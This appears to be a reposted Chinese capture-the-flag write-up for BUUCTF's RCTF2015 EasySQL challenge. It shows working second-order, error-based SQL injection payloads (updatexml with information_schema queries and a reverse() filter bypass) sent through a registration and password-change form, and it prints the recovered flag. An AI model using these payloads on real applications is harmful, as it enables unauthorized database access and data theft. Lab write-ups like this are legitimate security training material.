BUUCTF-[RCTF2015]EasySQL
2022/7/27 2:22:45
本文主要是介绍BUUCTF-[RCTF2015]EasySQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1、进去后是个登陆框,可以注册用户。首先这种猜测是二次注入,注册了admin’#用户,进去后有个改密码的操作,更加坚信了是个二次注入,但是并没有起到效果。
2、因为并不清楚sql语句的闭合方式,所以重新注册一个admin"#,登陆后也没有起到作用。
3、注册admin\,登陆进去后修改密码,结果出现报错。
设想可以注册一个用于报错的用户登陆,来修改密码的地方进行报错注入,然后显示出需要的内容。
4、尝试一下
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#&password=1&email=1
可以
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#&password=1&email=1
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#&password=1&email=1
没在这,继续找
username=admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#&password=1&email=1
username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#&password=1&email=1
显示位不够用,但是过滤了right。可以使用reverse()
username=admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#&password=1&email=1
flag{a8fc7f2d-c68d-439d-b5cd-438e781761b7}
eg:
Sql sever里面有个自带的reverse函数,这个函数的主要功能是把一个字符产反转。比如对于:
select REVERSE('hello,world') 将得到如下的输出:dlrow,olleh
这篇关于BUUCTF-[RCTF2015]EasySQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15PingCAP 黄东旭参与 CCF 秀湖会议,共探开源教育未来
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升